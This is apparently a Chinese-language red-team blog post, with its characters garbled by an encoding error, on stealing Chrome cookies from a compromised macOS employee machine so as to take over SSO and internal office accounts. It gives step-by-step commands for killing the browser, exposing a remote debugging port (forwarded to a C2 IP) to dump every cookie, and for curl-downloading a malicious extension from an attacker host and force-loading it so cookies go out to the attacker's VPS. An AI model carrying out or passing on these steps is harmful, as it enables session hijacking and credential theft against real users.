聲明:本文僅限于技術(shù)討論與分享,嚴(yán)禁用于非法途徑。
前言
Windows系統(tǒng)密碼和cookie獲取比較容易,用工具即可,但Mac下瀏覽器密碼獲取較難。
當(dāng)我們通過釣魚等方式拿到單位員工的個(gè)人PC機(jī)時(shí),通常需要對主機(jī)進(jìn)行信息收集。而瀏覽器是一個(gè)重要的信息收集點(diǎn)。我們可以收集歷史記錄、書簽尋找靶機(jī)。竊取密碼登錄SSO、內(nèi)部OA等等關(guān)鍵系統(tǒng)。但是在MAC下,因?yàn)橄到y(tǒng)的安全性,想要獲取密碼存在比較大的困難。
在 macOS 上,Google Chrome 的加密密鑰存儲(chǔ)在 Keychain 中,需要使用用戶的明文密碼解鎖。
在 Windows 上,Google Chrome 版本 80+ 使用使用 DPAPI 加密的 AES-256 密鑰加密 cookie。解密時(shí)不需密碼。
windows下密碼和cookie獲取比較容易,一般上工具(HackBrowserData)就行,這里不多說。mac下的瀏覽器密碼不好獲取。mac下因?yàn)橄到y(tǒng)安全性受限,使用相關(guān)工具會(huì)彈輸入用戶密碼的框??聪旅娴膹棿疤崾?,一下就暴露了,一般人也不會(huì)點(diǎn)允許。

因此我們得曲線救國,比如說獲取cookie。這里提供兩種方法:
思路一:無頭瀏覽器遠(yuǎn)程調(diào)試
為了便于調(diào)試和自動(dòng)化,chrome內(nèi)核的瀏覽器支持遠(yuǎn)程調(diào)試,然后可以直接調(diào)用調(diào)試接口獲取cookie。網(wǎng)上的資料幾乎大都是使用--headless無頭模式利用,但本人在mac pro、最新版chrome瀏覽器卻無法復(fù)現(xiàn)。
使用headless無頭瀏覽器模式會(huì)爆如下的錯(cuò)誤:

在一個(gè)老外的文章里找到了原因:

然后curl接口,不并無相關(guān)數(shù)據(jù)顯示

【→網(wǎng)絡(luò)安全技術(shù)文檔←】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2、電子書籍(白帽子)
3、安全大廠內(nèi)部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經(jīng)典題目解析
7、全套工具包
8、應(yīng)急響應(yīng)筆記
第一步
- ps aux|grep Chrome 觀察瀏覽器是否在運(yùn)行。
- 若瀏覽器在運(yùn)行,執(zhí)行:killall "Google Chrome" 殺掉瀏覽器進(jìn)程
- 馬上在第二步命令后加上--restore-last-session,還原瀏覽器最近瀏覽的選項(xiàng)卡。
- 若瀏覽器未在運(yùn)行,直接執(zhí)行第二步,獲取到cookie后 殺掉進(jìn)程即可
第二步
啟動(dòng)chrome內(nèi)核瀏覽器,開啟指定調(diào)試端口
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --user-data-dir="/Users/用戶名/Library/Application Support/Google/Chrome"

第三步
查看調(diào)試端口
curl -s localhost:9222/json

第四步
使用相關(guān)websocket工具(這里為了方便演示,直接使用了插件Simple WebSocket Client,入侵時(shí)候把調(diào)試端口用代理轉(zhuǎn)發(fā)到本地,localhost改成c2 ip就好。若不想代理,命令行下websocket的相關(guān)工具還有wsc、python模塊等),
從第三步獲取的結(jié)果中,任選一個(gè)webSocketDebuggerUrl,發(fā)送{"id": 1, "method": "Network.getAllCookies"}
成功獲取所有cookie

思路二:命令行加載惡意拓展
第二個(gè)思路來源是網(wǎng)上看到新聞,存在chrome 惡意插件盜取用戶的cookie,因此查找相關(guān)資料進(jìn)行學(xué)習(xí)。
令人驚喜的是,有位師傅github有直接寫好獲取cookie的插件
https://github.com/saucer-man/chrome_get_cookie
因此這里我們直接調(diào)用上面的插件腳本進(jìn)行利用
第一步
vps起一個(gè)flask服務(wù)器監(jiān)聽,接受cookies數(shù)據(jù)


第二步
使用curl或者wget下載惡意chrome插件文件夾到肉雞電腦,
curl http://X.X.X.X/cookie.zip -o /tmp/cookie.zip
unzip cookie.zip
第三步
用戶未打開瀏覽器的情況,或我們直接殺掉瀏覽器進(jìn)程:
killall "Google Chrome"
然后執(zhí)行命令,使chromer瀏覽器加載我們的拓展
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --load-extension=/tmp/cookie --user-data-dir="/Users/用戶名/Library/Application Support/Google/Chrome" --restore-last-session
加載后會(huì)打開chromer瀏覽器

vps服務(wù)器也同步接收到了數(shù)據(jù),保存cookie.json文件在當(dāng)前目錄


用戶已打開瀏覽器的時(shí)候,因?yàn)閮蓚€(gè)正在運(yùn)行的 Chrome 實(shí)例不能共享同一個(gè)用戶數(shù)據(jù)目錄,因此用上面方法就行不通了。
網(wǎng)上有方法是把用戶數(shù)據(jù)復(fù)制到另一個(gè)目錄,但復(fù)現(xiàn)未成功,打開的是沒用戶數(shù)據(jù)的chrome瀏覽器。
首先使用cp命令復(fù)制文件夾到tmp目錄
cp -R ~/Library/Application\ Support/Google/Chrome/Default ~/tmp
使用--user-data命令,指定用戶數(shù)據(jù)執(zhí)行命令
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --user-data-dir=~/tmp --load-extension=/Users/用戶名/Desktop/tools/redteam/chrome_get_cookie
彈出來的是空白瀏覽器:

接收不到cookie

注意
killall "Google Chrome" 關(guān)閉chrome瀏覽器進(jìn)程的命令
瀏覽器命令行相關(guān)參數(shù):
| --headless 無頭模式--restore-last-session 瀏覽器崩潰后,恢復(fù)瀏覽器的最近瀏覽的選項(xiàng)卡--load-extension 加載的拓展插件文件夾路徑--remote-debugging-port=xxx 遠(yuǎn)程調(diào)試的端口--user-data-dir 表示加載用戶瀏覽器數(shù)據(jù)文件夾,沒有指定數(shù)據(jù)目錄,打開的會(huì)是全新無痕的chrome |
|---|
chrome 用戶數(shù)據(jù)配置文件夾保存路徑:
| Mac OS X: ~/Library/Application Support/Google/Chrome/DefaultWindows XP: Documents and SettingsusernameLocal SettingsApplication DataGoogleChromeUser DataDefaultWindows 7: C:\Users\xxx\AppData\Local\Google\Chrome\User Data\DefaultLinux: ~/.config/google-chrome/DefaultUbuntu: ~/.config/google-chrome 或 ~/.config/chromium |
|---|